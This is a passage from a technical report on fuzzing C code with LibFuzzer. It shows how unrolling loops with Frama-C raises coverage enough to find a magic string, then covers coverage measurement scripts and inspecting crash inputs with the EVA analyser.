if(! strcmp(a,"VESSEDIA")) abort(); 

else return 0; 

} 

 

typedef unsigned char uint8_t ; 

int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) { 

 int r = test((char *)Data); 

 return 1; 

} 

 

The piece of code is self-explanatory: the function test() compares the input to the string 

“VESSEDIA”, and the function LLVMFuzzerTestOneInput() is the test harness entry point required by 
LibFuzzer. 

Then, we compile and execute the code: 

$ /usr/bin/clang-7 -fsanitize=fuzzer -I/usr/include -std=c99 -m64 -O3 compare.c -o 

compare.exe 

$ mkdir otest 

$ ./compare.exe otest/ -only_ascii=1 -max_len=9 –seed=1798940889 

 

The LibFuzzer is stopped after more than a billion of executions, but no case triggered the abort() 
statement so far: 

INFO: Seed: 1798940889 

INFO: Loaded 1 modules   (4 inline 8-bit counters): 4 [0x6840e0, 0x6840e4),  

INFO: Loaded 1 PC tables (4 PCs): 4 [0x472db0,0x472df0),  

INFO:        0 files found in otest/ 

INFO: A corpus is not provided, starting from an empty corpus 

#2 INITED cov: 2 ft: 2 corp: 1/1b lim: 4 exec/s: 0 rss: 24Mb 

#4194304 pulse  cov: 2 ft: 2 corp: 1/1b lim: 8 exec/s: 2097152 rss: 24Mb 

#8388608 pulse  cov: 2 ft: 2 corp: 1/1b lim: 8 exec/s: 2097152 rss: 24Mb 

#16777216 pulse  cov: 2 ft: 2 corp: 1/1b lim: 8 exec/s: 2097152 rss: 24Mb 

#33554432 pulse  cov: 2 ft: 2 corp: 1/1b lim: 8 exec/s: 1973790 rss: 24Mb 

#67108864 pulse  cov: 2 ft: 2 corp: 1/1b lim: 8 exec/s: 1917396 rss: 24Mb 

#134217728 pulse  cov: 2 ft: 2 corp: 1/1b lim: 8 exec/s: 1890390 rss: 24Mb 

#268435456 pulse  cov: 2 ft: 2 corp: 1/1b lim: 8 exec/s: 1877171 rss: 24Mb 

#536870912 pulse  cov: 2 ft: 2 corp: 1/1b lim: 8 exec/s: 1870630 rss: 24Mb 

#1073741824 pulse  cov: 2 ft: 2 corp: 1/1b lim: 8 exec/s: 1870630 rss: 24Mb 

 

Indeed, the coverage is not complete as the fuzzer didn’t succeed in finding the string “VESSEDIA”. 

Of course, the way the function test() is coded cannot help obtaining easily the sought input. 

 

Now, let us replace libc function strcmp() call by its source code implementation. 

cat > compare2.c << EOF 

#include <stdlib.h> 

#include <stdio.h> 
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#include <string.h> 

 

int my_strcmp (const char *p1, const char *p2) 

{ 

  const unsigned char *s1 = (const unsigned char *) p1; 

  const unsigned char *s2 = (const unsigned char *) p2; 

  unsigned char c1, c2; 

  do 

    { 

      c1 = (unsigned char) *s1++; 

      c2 = (unsigned char) *s2++; 

      if (c1 == '\0') 

        return c1 - c2; 

    } 

  while (c1 == c2); 

  return c1 - c2; 

} 

 

int test(char* a) 

{ 

if(! my_strcmp(a,"VES")) abort(); 

else return 0; 

} 

 

typedef unsigned char uint8_t ; 

int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) { 

 int r = test((char *)Data); 

 return 1; 

} 

EOF 

 

We use the same seed for the fuzzing as in the previous LibFuzzer launch to keep the same 
conditions of randomness. 

The code is compiled and executed again: 

$ /usr/bin/clang-7 -fsanitize=fuzzer -I/usr/include -std=c99 -m64 -O3 compare2.c -o 

compare2.exe 

$ mkdir otest2 

$ ./compare2.exe otest2/ -only_ascii=1 -max_len=9 -seed=1798940889 

 

We obtain very rapidly 4 cases of abort() calls with a high level of coverage, but still not complete: 

INFO: Seed: 1798940889 

INFO: Loaded 1 modules   (14 inline 8-bit counters): 14 [0x6840e0, 0x6840ee),  

INFO: Loaded 1 PC tables (14 PCs): 14 [0x472eb8,0x472f98),  

INFO:        0 files found in otest2/ 

INFO: A corpus is not provided, starting from an empty corpus 

#2 INITED cov: 3 ft: 3 corp: 1/1b lim: 4 exec/s: 0 rss: 23Mb 

#15 NEW    cov: 4 ft: 4 corp: 2/2b lim: 4 exec/s: 0 rss: 23Mb L: 1/1 MS: 3 ChangeBit-

ChangeByte-ChangeByte- 

#14779 NEW    cov: 4 ft: 5 corp: 3/10b lim: 9 exec/s: 0 rss: 23Mb L: 8/8 MS: 4 CopyPart-

ChangeBit-CrossOver-InsertRepeatedBytes- 

#14796 REDUCE cov: 4 ft: 5 corp: 3/7b lim: 9 exec/s: 0 rss: 23Mb L: 5/5 MS: 2 ChangeBit-

EraseBytes- 

#14817 REDUCE cov: 4 ft: 5 corp: 3/5b lim: 9 exec/s: 0 rss: 23Mb L: 3/3 MS: 1 CrossOver- 

#14868 REDUCE cov: 4 ft: 5 corp: 3/4b lim: 9 exec/s: 0 rss: 23Mb L: 2/2 MS: 1 EraseBytes- 

#14934 REDUCE cov: 4 ft: 6 corp: 4/11b lim: 9 exec/s: 0 rss: 23Mb L: 7/7 MS: 1 

InsertRepeatedBytes- 

#14940 NEW    cov: 4 ft: 7 corp: 5/18b lim: 9 exec/s: 0 rss: 23Mb L: 7/7 MS: 1 ChangeBit- 

#15012 REDUCE cov: 4 ft: 7 corp: 5/16b lim: 9 exec/s: 0 rss: 23Mb L: 5/7 MS: 2 CopyPart-

EraseBytes- 

#15048 NEW    cov: 5 ft: 8 corp: 6/20b lim: 9 exec/s: 0 rss: 23Mb L: 4/7 MS: 1 

EraseBytes- 

#15059 REDUCE cov: 5 ft: 8 corp: 6/19b lim: 9 exec/s: 0 rss: 23Mb L: 6/6 MS: 1 

EraseBytes- 
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#15071 REDUCE cov: 5 ft: 8 corp: 6/18b lim: 9 exec/s: 0 rss: 23Mb L: 5/5 MS: 2 CrossOver-

CrossOver- 

#15187 REDUCE cov: 5 ft: 8 corp: 6/16b lim: 9 exec/s: 0 rss: 23Mb L: 3/5 MS: 1 

EraseBytes- 

#16288 REDUCE cov: 5 ft: 8 corp: 6/15b lim: 9 exec/s: 0 rss: 23Mb L: 4/4 MS: 1 

EraseBytes- 

#4194304 pulse  cov: 5 ft: 8 corp: 6/15b lim: 9 exec/s: 1398101 rss: 23Mb 

#8388608 pulse  cov: 5 ft: 8 corp: 6/15b lim: 9 exec/s: 1677721 rss: 23Mb 

#16777216 pulse  cov: 5 ft: 8 corp: 6/15b lim: 9 exec/s: 1677721 rss: 23Mb 

#33554432 pulse  cov: 5 ft: 8 corp: 6/15b lim: 9 exec/s: 1766022 rss: 23Mb 

#67108864 pulse  cov: 5 ft: 8 corp: 6/15b lim: 9 exec/s: 1720740 rss: 23Mb 

#134217728 pulse  cov: 5 ft: 8 corp: 6/15b lim: 9 exec/s: 1720740 rss: 23Mb 

#268435456 pulse  cov: 5 ft: 8 corp: 6/15b lim: 9 exec/s: 1709779 rss: 23Mb 

... 

 

At this stage, the corpus is made of several files containing: “V”, “VE”, “VES” and “VESS”, but as 
exposed above, even after a quite long fuzzing time, the fuzzer does not find new entries for a 
better coverage and thus does not feed the corpus with new scenarios. LibFuzzer behaves better 
in terms of efficiency/coverage with compare2.c than with compare.c file: the coverage is obviously 
higher (5 out of 8 features are found in the code by the fuzzer), but still not complete.  

This efficiency can be even greater, indeed. 

Let us add a Frama-C Kernel step (mainly in charge of pre-processing) whose goal is to unroll 

(while or for) loops automatically in this code with the command “frama-c –ulevel ...”. 

 

cat > compare3.c << EOF 

#include <stdlib.h> 

#include <stdio.h> 

#include <string.h> 

 

int my_strcmp (const char *p1, const char *p2) 

{ 

  const unsigned char *s1 = (const unsigned char *) p1; 

  const unsigned char *s2 = (const unsigned char *) p2; 

  unsigned char c1, c2; 

  do 

    { 

      c1 = (unsigned char) *s1++; 

      c2 = (unsigned char) *s2++; 

      if (c1 == '\0') 

        return c1 - c2; 

    } 

  while (c1 == c2); 

  return c1 - c2; 

} 

 

int test(char* a) 

{ 

if(! my_strcmp(a,"VESSEDIA")) abort(); 

else return 0; 

} 

 

typedef unsigned char uint8_t ; 

int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) { 

 int r = test((char *)Data); 

 return 1; 

} 

EOF 

 

We first apply the Frama-C Kernel unrolling step to generate a new code pretty-printed in a new C 
file: 
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$ frama-c -ulevel 8 compare3.c -main LLVMFuzzerTestOneInput -print -ocode compare3u.c 

 

The file compare3u.c is the loop-unrolled version of compare3.c and contains the following code: 

/* Generated by Frama-C */ 

#include "errno.h" 

#include "stdarg.h" 

#include "stdio.h" 

#include "stdlib.h" 

#include "string.h" 

#include "strings.h" 

typedef unsigned char uint8_t; 

int my_strcmp(char const *p1, char const *p2) 

{ 

  int __retres; 

  unsigned char c1; 

  unsigned char c2; 

  unsigned char const *s1 = (unsigned char const *)p1; 

  unsigned char const *s2 = (unsigned char const *)p2; 

  { 

    unsigned char const *tmp_unroll_54; 

    unsigned char const *tmp_0_unroll_54; 

    tmp_unroll_54 = s1; 

    s1 ++; 

    c1 = *tmp_unroll_54; 

    tmp_0_unroll_54 = s2; 

    s2 ++; 

    c2 = *tmp_0_unroll_54; 

    if ((int)c1 == '\000') { 

      __retres = (int)c1 - (int)c2; 

      goto return_label; 

    } 

  } 

  if (! ((int)c1 == (int)c2)) goto unrolling_2_loop; 

  unrolling_10_loop: ; 

  { 

    unsigned char const *tmp_unroll_47; 

    unsigned char const *tmp_0_unroll_47; 

    tmp_unroll_47 = s1; 

    s1 ++; 

    c1 = *tmp_unroll_47; 

    tmp_0_unroll_47 = s2; 

    s2 ++; 

    c2 = *tmp_0_unroll_47; 

    if ((int)c1 == '\000') { 

      __retres = (int)c1 - (int)c2; 

      goto return_label; 

    } 

  } 

  if (! ((int)c1 == (int)c2)) goto unrolling_2_loop; 

  unrolling_9_loop: ; 

  { 

    unsigned char const *tmp_unroll_40; 

    unsigned char const *tmp_0_unroll_40; 

    tmp_unroll_40 = s1; 

    s1 ++; 

    c1 = *tmp_unroll_40; 

    tmp_0_unroll_40 = s2; 

    s2 ++; 

    c2 = *tmp_0_unroll_40; 

    if ((int)c1 == '\000') { 

      __retres = (int)c1 - (int)c2; 

      goto return_label; 

    } 

  } 

 

// .../...  other same loop bodies generated by loop unrolling process 
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  if (! ((int)c1 == (int)c2)) goto unrolling_2_loop; 

  unrolling_4_loop: ; 

  { 

    unsigned char const *tmp_unroll_5; 

    unsigned char const *tmp_0_unroll_5; 

    tmp_unroll_5 = s1; 

    s1 ++; 

    c1 = *tmp_unroll_5; 

    tmp_0_unroll_5 = s2; 

    s2 ++; 

    c2 = *tmp_0_unroll_5; 

    if ((int)c1 == '\000') { 

      __retres = (int)c1 - (int)c2; 

      goto return_label; 

    } 

  } 

  if (! ((int)c1 == (int)c2)) goto unrolling_2_loop; 

  unrolling_3_loop: ; 

  /*@ loop pragma UNROLL "done", 8; */ 

  while (1) { 

    { 

      unsigned char const *tmp; 

      unsigned char const *tmp_0; 

      tmp = s1; 

      s1 ++; 

      c1 = *tmp; 

      tmp_0 = s2; 

      s2 ++; 

      c2 = *tmp_0; 

      if ((int)c1 == '\000') { 

        __retres = (int)c1 - (int)c2; 

        goto return_label; 

      } 

    } 

    if (! ((int)c1 == (int)c2)) break; 

  } 

  unrolling_2_loop: ; 

  __retres = (int)c1 - (int)c2; 

  return_label: return __retres; 

} 

 

int test(char *a) 

{ 

  int __retres; 

  int tmp; 

  tmp = my_strcmp((char const *)a,"VESSEDIA"); 

  if (tmp) { 

    __retres = 0; 

    goto return_label; 

  } 

  else abort(); 

  return_label: return __retres; 

} 

 

int LLVMFuzzerTestOneInput(uint8_t const *Data, size_t Size) 

{ 

  int __retres; 

  int r = test((char *)Data); 

  __retres = 1; 

  return __retres; 

} 

 

In the code above, the loop comparing characters in the two strings is unrolled a certain number of 
times (8 times in this case, which is also the length of the dreaded input string, and may vary 
according to the kind of sought scenarios). 
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The code is then compiled and executed (with the same seed once again to avoid misleading drift 
when comparing the several fuzzing results):  

 

$ /usr/bin/clang-7 -fsanitize=fuzzer -I/usr/include -std=c99 -m64 -O3 compare3u.c -o 

compare3u.exe 

 

$ mkdir otest3u 

 

$ ./compare3u.exe otest3u/ -only_ascii=1 -max_len=8 -seed=1798940889 

 

The result with LibFuzzer is as follows: 

INFO: Loaded 1 modules   (24 inline 8-bit counters): 24 [0x6840e0, 0x6840f8),  

INFO: Loaded 1 PC tables (24 PCs): 24 [0x473078,0x4731f8),  

INFO:        0 files found in otest3/ 

INFO: A corpus is not provided, starting from an empty corpus 

#2 INITED cov: 4 ft: 4 corp: 1/1b lim: 4 exec/s: 0 rss: 23Mb 

#15 NEW    cov: 5 ft: 5 corp: 2/2b lim: 4 exec/s: 0 rss: 23Mb L: 1/1 MS: 3 ChangeBit-

ChangeByte-ChangeByte- 

#11148 NEW    cov: 6 ft: 6 corp: 3/10b lim: 9 exec/s: 0 rss: 23Mb L: 8/8 MS: 3 

InsertByte-ShuffleBytes-InsertRepeatedBytes- 

#11194 REDUCE cov: 6 ft: 6 corp: 3/8b lim: 9 exec/s: 0 rss: 23Mb L: 6/6 MS: 1 EraseBytes- 

#11244 REDUCE cov: 6 ft: 6 corp: 3/5b lim: 9 exec/s: 0 rss: 23Mb L: 3/3 MS: 5 InsertByte-

ChangeBit-EraseBytes-ChangeBit-CrossOver- 

#11280 REDUCE cov: 6 ft: 6 corp: 3/4b lim: 9 exec/s: 0 rss: 23Mb L: 2/2 MS: 1 EraseBytes- 

#13421 REDUCE cov: 7 ft: 7 corp: 4/9b lim: 9 exec/s: 0 rss: 23Mb L: 5/5 MS: 1 

InsertRepeatedBytes- 

#13452 NEW    cov: 8 ft: 8 corp: 5/14b lim: 9 exec/s: 0 rss: 23Mb L: 5/5 MS: 1 

ChangeBinInt- 

#13968 NEW    cov: 9 ft: 9 corp: 6/18b lim: 9 exec/s: 0 rss: 23Mb L: 4/5 MS: 1 

EraseBytes- 

#14010 REDUCE cov: 9 ft: 9 corp: 6/16b lim: 9 exec/s: 0 rss: 23Mb L: 3/5 MS: 2 ChangeBit-

EraseBytes- 

#14046 REDUCE cov: 10 ft: 10 corp: 7/25b lim: 9 exec/s: 0 rss: 23Mb L: 9/9 MS: 1 

CrossOver- 

#14242 NEW    cov: 11 ft: 11 corp: 8/30b lim: 9 exec/s: 0 rss: 23Mb L: 5/9 MS: 1 

EraseBytes- 

#14478 REDUCE cov: 11 ft: 11 corp: 8/29b lim: 9 exec/s: 0 rss: 23Mb L: 8/8 MS: 1 

EraseBytes- 

#14564 REDUCE cov: 11 ft: 11 corp: 8/27b lim: 9 exec/s: 0 rss: 23Mb L: 6/6 MS: 1 

EraseBytes- 

#87827 REDUCE cov: 12 ft: 12 corp: 9/33b lim: 9 exec/s: 0 rss: 23Mb L: 6/6 MS: 3 

CopyPart-ChangeBit-ChangeBit- 

#87949 NEW    cov: 13 ft: 13 corp: 10/40b lim: 9 exec/s: 0 rss: 23Mb L: 7/7 MS: 2 

ShuffleBytes-InsertByte- 

#136405 NEW    cov: 14 ft: 14 corp: 11/47b lim: 9 exec/s: 0 rss: 23Mb L: 7/7 MS: 1 

ChangeBinInt- 

#136771 NEW    cov: 15 ft: 15 corp: 12/55b lim: 9 exec/s: 0 rss: 23Mb L: 8/8 MS: 1 

InsertByte- 

#154903 NEW    cov: 16 ft: 16 corp: 13/63b lim: 9 exec/s: 0 rss: 23Mb L: 8/8 MS: 2 

ShuffleBytes-ChangeBit- 

#4194304 pulse  cov: 16 ft: 16 corp: 13/63b lim: 9 exec/s: 1398101 rss: 23Mb 

#8388608 pulse  cov: 16 ft: 16 corp: 13/63b lim: 9 exec/s: 1398101 rss: 23Mb 

#16777216 pulse  cov: 16 ft: 16 corp: 13/63b lim: 9 exec/s: 1525201 rss: 23Mb 

#33554432 pulse  cov: 16 ft: 16 corp: 13/63b lim: 9 exec/s: 1677721 rss: 23Mb 

#67108864 pulse  cov: 16 ft: 16 corp: 13/63b lim: 9 exec/s: 1677721 rss: 23Mb 
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The corpus contains now: “V”, “VE”, “VES”, ... and finally “VESSEDIA”, after only 154,903 executions 
performed almost instantly (this can be even improved if we disable the reducing step processing27 
performed by LibFuzzer by default). 

This result is due to the coverage of control flows performed by LibFuzzer. By “exploding” the 
loops, we obtain more features (blocks of code and edges between these blocks). This helps a lot 
the fuzzer when looking for new relevant inputs by small mutations (“V”, then adding an “E” to 

obtain “VE”, and so on). In other words, the fuzzer is globally more inclined to incrementally 
investigate (mutate) inputs which already helped improving the coverage. 

 

To obtain the coverage computed for the various input scenarios, we can use the following script 
(for profiling and measure of coverage): 

export p=./compare3u 

export d=otest3u 

clang-7 -fprofile-instr-generate -fcoverage-mapping $p.c PourCoverageTest.c -o 

pour_coverage.exe 

for i in `ls $d/` ; \ 

 do echo "===== $d/$i" ; \ 

 cat $d/$i ; \ 

 echo "" ; \ 

 rm -f *.prof* ; \ 

 ./pour_coverage.exe $d/$i ; \ 

 llvm-profdata-7 merge -sparse *.profraw -o default.profdata ; \ 

 llvm-cov-7 report pour_coverage.exe -instr-profile=default.profdata ; \ 

done 

 

Which yields: 

===== otest3u/225310255cfa53fe3ec82ec8482c9de6af51aed6 

VE 

PourCoverage: running 1 inputs 

PourCoverage is executing ... otest3u/225310255cfa53fe3ec82ec8482c9de6af51aed6 

Done:    otest3u/225310255cfa53fe3ec82ec8482c9de6af51aed6: (2 bytes) 

Filename                      Regions    Missed Regions     Cover   Functions  Missed 

Functions  Executed       Lines      Missed Lines     Cover 

-----------------------------------------------------------------------------------------

-----------------------------------------------------------------------------------------

--------- 

PourCoverageTest.c                  6                 1    83.33%           1                 

0   100.00%          17                 0   100.00% 

compare3u.c                        64                47    26.56%           3                 

0   100.00%         173               111    35.84% 

-----------------------------------------------------------------------------------------

-----------------------------------------------------------------------------------------

--------- 

TOTAL                              70                48    31.43%           4                 

0   100.00%         190               111    41.58% 

 

===== otest3u/5f5e088fb34d3fd2450dd92e029f38015c0e83d7 

VESSSSSS 

PourCoverage: running 1 inputs 

PourCoverage is executing ... otest3u/5f5e088fb34d3fd2450dd92e029f38015c0e83d7 

Done:    otest3u/5f5e088fb34d3fd2450dd92e029f38015c0e83d7: (8 bytes) 

Filename                      Regions    Missed Regions     Cover   Functions  Missed 

Functions  Executed       Lines      Missed Lines     Cover 

-----------------------------------------------------------------------------------------

-----------------------------------------------------------------------------------------

--------- 

                                                

27 Briefly presented, reducing an input within the corpus consists in finding automatically the 

smallest input producing the same result. 
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PourCoverageTest.c                  6                 1    83.33%           1                 

0   100.00%          17                 0   100.00% 

compare3u.c                        64                40    37.50%           3                 

0   100.00%         173                96    44.51% 

-----------------------------------------------------------------------------------------

-----------------------------------------------------------------------------------------

--------- 

TOTAL                              70                41    41.43%           4                 

0   100.00%         190                96    49.47% 

 

===== otest3u/db5f5c4cf011b4d4bc528a5083ac5f9b5adccd19 

V    

PourCoverage: running 1 inputs 

PourCoverage is executing ... otest3u/db5f5c4cf011b4d4bc528a5083ac5f9b5adccd19 

Done:    otest3u/db5f5c4cf011b4d4bc528a5083ac5f9b5adccd19: (4 bytes) 

Filename                      Regions    Missed Regions     Cover   Functions  Missed 

Functions  Executed       Lines      Missed Lines     Cover 

-----------------------------------------------------------------------------------------

-----------------------------------------------------------------------------------------

--------- 

PourCoverageTest.c                  6                 1    83.33%           1                 

0   100.00%          17                 0   100.00% 

compare3u.c                        64                48    25.00%           3                 

0   100.00%         173               122    29.48% 

-----------------------------------------------------------------------------------------

-----------------------------------------------------------------------------------------

--------- 

TOTAL                              70                49    30.00%           4                 

0   100.00%         190               122    35.79% 

 

As we can see above, the coverage is very different now, with lower percentages obtained for each 
input scenario. Definitely, it is not possible to fully rely on the notion of coverage as we may have 
added a lot of new statements due to the loop unrolling. 

The same remark applies for the merging of all different input scenarios generated by LibFuzzer: 
the full coverage is difficult to obtain even for small code, and thus should not be considered as the 
ultimate goal to reach when fuzzing. The reader should also consider that a full coverage is not a 
guarantee about the software behaviour: this coverage only shows covered structure in the code, 
and not on covered reachable states of the application.  

On the opposite, “crash-*” files generated by LibFuzzer do contain the important sought 
information from a verification process standpoint: some scenarios are able to trig unintended 
behaviours or errors, from which the input data are stored into the corresponding file, and then 
should be further investigated in depth. 

The display of the coverage into the source code helps a little more: 

export p=./compare3u 

export d=otest3u 

clang-7 -fprofile-instr-generate -fcoverage-mapping $p.c PourCoverageTest.c -o 

pour_coverage.exe 

for i in `ls $d/` ; \ 

 do echo "===== $d/$i" ; \ 

 cat $d/$i ; \ 

 echo "" ; \ 

 rm -f *.prof* ; \ 

 ./pour_coverage.exe $d/$i ; \ 

 llvm-profdata-7 merge -sparse *.profraw -o default.profdata ; \ 

 llvm-cov-7 show pour_coverage.exe -instr-profile=default.profdata ; \ 

done 

 

The script above yields the following for the "VESSSSSS" contents: 

===== otest3u/5f5e088fb34d3fd2450dd92e029f38015c0e83d7 
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VESSSSSS 

PourCoverage: running 1 inputs 

PourCoverage is executing ... otest3u/5f5e088fb34d3fd2450dd92e029f38015c0e83d7 

Done:    otest3u/5f5e088fb34d3fd2450dd92e029f38015c0e83d7: (8 bytes) 

/home/unity/Desktop/Vessedia/Gyesno_to_Pnoyes.20181218/COMPIL/TEST/PourCoverageTest.c: 

    1|       |#include <stdlib.h> 

    2|       |#include <stdio.h> 

    3|       |#include <assert.h> 

    4|       |  

    5|       |extern int LLVMFuzzerTestOneInput(const unsigned char *data, size_t size); 

    6|       |__attribute__((weak)) extern int LLVMFuzzerInitialize(int *argc, char 

***argv); 

    7|       | 

    8|      1|int main(int argc, char **argv) { 

    9|      1|printf("PourCoverage: running %d inputs\n", argc - 1); 

   10|      1|if (LLVMFuzzerInitialize) LLVMFuzzerInitialize(&argc, &argv); 

   11|      2|for (int i = 1; i < argc; i++) { 

   12|      1|fprintf(stderr, "PourCoverage is executing ... %s\n", argv[i]); 

   13|      1|FILE *f = fopen(argv[i], "r"); 

   14|      1|//assert(f); 

   15|      1|fseek(f, 0, SEEK_END); 

   16|      1|size_t len = ftell(f); 

   17|      1|fseek(f, 0, SEEK_SET); 

   18|      1|unsigned char *buf = (unsigned char*)malloc(len); 

   19|      1|size_t n_read = fread(buf, 1, len, f); 

   20|      1|LLVMFuzzerTestOneInput(buf, len); 

   21|      1|free(buf); 

   22|      1|fprintf(stderr, "Done:    %s: (%zd bytes)\n", argv[i], n_read); 

   23|      1|} 

   24|      1|} 

 

/home/unity/Desktop/Vessedia/Gyesno_to_Pnoyes.20181218/COMPIL/TEST/compare3u.c: 

    1|       |/* Generated by Frama-C */ 

    2|       |#include "errno.h" 

    3|       |#include "stdarg.h" 

    4|       |#include "stdio.h" 

    5|       |#include "stdlib.h" 

    6|       |#include "string.h" 

    7|       |#include "strings.h" 

    8|       |typedef unsigned char uint8_t; 

    9|       |int my_strcmp(char const *p1, char const *p2) 

   10|      1|{ 

   11|      1|  int __retres; 

   12|      1|  unsigned char c1; 

   13|      1|  unsigned char c2; 

   14|      1|  unsigned char const *s1 = (unsigned char const *)p1; 

   15|      1|  unsigned char const *s2 = (unsigned char const *)p2; 

   16|      1|  { 

   17|      1|    unsigned char const *tmp_unroll_54; 

   18|      1|    unsigned char const *tmp_0_unroll_54; 

   19|      1|    tmp_unroll_54 = s1; 

   20|      1|    s1 ++; 

   21|      1|    c1 = *tmp_unroll_54; 

   22|      1|    tmp_0_unroll_54 = s2; 

   23|      1|    s2 ++; 

   24|      1|    c2 = *tmp_0_unroll_54; 

   25|      1|    if ((int)c1 == '\000') { 

   26|      0|      __retres = (int)c1 - (int)c2; 

   27|      0|      goto return_label; 

   28|      0|    } 

   29|      1|  } 

   30|      1|  if (! ((int)c1 == (int)c2)) goto unrolling_2_loop; 

   31|      1|  unrolling_10_loop: ; 

   32|      1|  { 

   33|      1|    unsigned char const *tmp_unroll_47; 

   34|      1|    unsigned char const *tmp_0_unroll_47; 

   35|      1|    tmp_unroll_47 = s1; 

   36|      1|    s1 ++; 

   37|      1|    c1 = *tmp_unroll_47; 
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   38|      1|    tmp_0_unroll_47 = s2; 

   39|      1|    s2 ++; 

   40|      1|    c2 = *tmp_0_unroll_47; 

   41|      1|    if ((int)c1 == '\000') { 

   42|      0|      __retres = (int)c1 - (int)c2; 

   43|      0|      goto return_label; 

   44|      0|    } 

   45|      1|  } 

   46|      1|  if (! ((int)c1 == (int)c2)) goto unrolling_2_loop; 

   47|      1|  unrolling_9_loop: ; 

   48|      1|  { 

   49|      1|    unsigned char const *tmp_unroll_40; 

   50|      1|    unsigned char const *tmp_0_unroll_40; 

   51|      1|    tmp_unroll_40 = s1; 

   52|      1|    s1 ++; 

   53|      1|    c1 = *tmp_unroll_40; 

   54|      1|    tmp_0_unroll_40 = s2; 

   55|      1|    s2 ++; 

   56|      1|    c2 = *tmp_0_unroll_40; 

   57|      1|    if ((int)c1 == '\000') { 

   58|      0|      __retres = (int)c1 - (int)c2; 

   59|      0|      goto return_label; 

   60|      0|    } 

   61|      1|  } 

 

// .../...  other same loop bodies generated by loop unrolling process  

 

  142|      0|  if (! ((int)c1 == (int)c2)) goto unrolling_2_loop; 

  143|      0|  unrolling_3_loop: ; 

  144|      0|  /*@ loop pragma UNROLL "done", 8; */ 

  145|      0|  while (1) { 

  146|      0|    { 

  147|      0|      unsigned char const *tmp; 

  148|      0|      unsigned char const *tmp_0; 

  149|      0|      tmp = s1; 

  150|      0|      s1 ++; 

  151|      0|      c1 = *tmp; 

  152|      0|      tmp_0 = s2; 

  153|      0|      s2 ++; 

  154|      0|      c2 = *tmp_0; 

  155|      0|      if ((int)c1 == '\000') { 

  156|      0|        __retres = (int)c1 - (int)c2; 

  157|      0|        goto return_label; 

  158|      0|      } 

  159|      0|    } 

  160|      0|    if (! ((int)c1 == (int)c2)) break; 

  161|      0|  } 

  162|      1|  unrolling_2_loop: ; 

  163|      1|  __retres = (int)c1 - (int)c2; 

  164|      1|  return_label: return __retres; 

  165|      1|} 

  166|       | 

  167|       |int test(char *a) 

  168|      1|{ 

  169|      1|  int __retres; 

  170|      1|  int tmp; 

  171|      1|  tmp = my_strcmp((char const *)a,"VES"); 

  172|      1|  if (tmp) { 

  173|      1|    __retres = 0; 

  174|      1|    goto return_label; 

  175|      1|  } 

  176|      0|  else abort(); 

  177|      1|  return_label: return __retres; 

  178|      1|} 

  179|       | 

  180|       |int LLVMFuzzerTestOneInput(uint8_t const *Data, size_t Size) 

  181|      1|{ 

  182|      1|  int __retres; 

  183|      1|  int r = test((char *)Data); 
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  184|      1|  __retres = 1; 

  185|      1|  return __retres; 

  186|      1|} 

  187|       | 

  188|       | 

 

Typically, in the my_strcmp() function above (starting at line 9 in the compare3u.c file), only the first 
3 statement blocks of the unrolled loop are covered, which is consistent with the test input (only the 
first 3 characters were of interest “VES...”). 

The reader can then check manually that the code not covered in this typical case could not be 
covered indeed. 

 

To sum up, Frama-C Kernel can be used to transform the original code by unrolling loops, 
which leads to a better generation of interesting inputs. As the fuzzer always looks for new 
control flows to cover, then unrolling loops with Frama-C creates “new” control flows that 
the fuzzer will try to go through. Input data are then built iteratively and incrementally 

(typically exploiting the fitness function28 capabilities used in evolutionary – genetic – 
algorithms). 

 

The number of loops to unroll can be defined by several means. Either arbitrarily asking Frama-C 
Kernel to unroll all loops a fixed number of times, or through other more sophisticated analyses 
generating automatically this estimated number of iterations by abstract interpretation: typically, 
EVA plug-in can be used to get an over-approximation of the number of loops which could be run 
during concrete executions, thus by investigating the iterator domain of values. In previous R&T 
projects on Frama-C, we developed at DA such strategy thanks to the Frama-C Kernel and EVA 
API which permitted to implement a script and annotate automatically the original code with 
complementary annotations and pragmas which could be in turn taken into account by Frama-C 
when unrolling loops. 

 

4.5 Inspecting bugs with Frama-C 

The purpose of this paragraph is to elaborate about the static analysis of bugs found by a fuzzer 
(e.g. LLVM/LibFuzzer), into the source code (when available), for the comprehension of what really 
occurred during any given erroneous fuzzing execution. In the following, this inspection is done by 
means of Frama-C EVA plug-in. 

For the sake of clarity, we illustrate this point with the previous example about the comparison 
between two strings. Let’s just assume that the dreaded event is to get the “VESSEDIA” string as 
input. 

Once the “bug” is found by the fuzzer, the corresponding input is automatically stored in a separate 
file (whose filename prefix is "crash-" with LibFuzzer). 

On the previous code in source file compare3u.c, we want to perform the injection of this dreaded 
input, so that we can inspect the source code further. 

To inject the input from the file generated by LibFuzzer, any "bridging" script can be implemented 
to automatize the procedure. The easiest way we found so far to build this script is to make it write 
a main() function including the (allegedly) error-prone input. 

For instance, in the case of compare3u.c code, the main() function is as simple as: 

                                                

28 https://www.tutorialspoint.com/genetic_algorithms/genetic_algorithms_fitness_function.htm  

https://www.tutorialspoint.com/genetic_algorithms/genetic_algorithms_fitness_function.htm
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int main() 

{ 

 test("VESSEDIA"); 

 return 1; 

} 

 

 

This main() function is concatenated to the original code in compare3u.c, into a new file named 

compinject.c. Of course, according to the context and code structure, the main() function might be 
a bit more complex to write or generate. 

By now, the code can be analyzed with the EVA analyser: 

 

frama-c-gui -eva compinject.c & 

 

 

In the screenshot below, the main function has been analyzed with EVA, and shows that the test 
function does not terminate, as expected (meaning that the given input yields a non-termination of 
the program analysis): 

 

Figure 9: EVA analyser 

 

We then navigate to this function named test() to investigate the statements involved into this non 
termination.  
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Figure 10: EVA analyser – test() function 

 

In the screenshot above, the abort() function is considered as triggered, meaning that the tmp 

variable value is NULL/zero (this variable is returned by my_strcmp function call): it means that 

variable a contains the dreaded “VESSEDIA” string. 

The my_strcmp() function, which is the unrolled version of strcmp implementation, as presented in 
the previous paragraph, is as follows: 
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Figure 11: EVA analyser - my_strcmp() function 

 

In the screenshot above, function parameters p1 and p2 contain both the “VESSEDIA” string as 

shown in the “Values” panel in lower side of the Frama-C window. 

The code of my_strcmp() function can be fully inspected to convince ourselves of the impact of the 
given dreaded input. In the present case, this is obvious, but the interest of this short 
demonstration addresses cases where bugs in the code could be much more subtle to analyse, 
and when accessing to domain of values for code variables helps drastically understanding the 
issue (for the expert user, varying -slevel EVA option might be also helpful). 

The screenshot below presents the while loop which was automatically unrolled. At first glance, we 

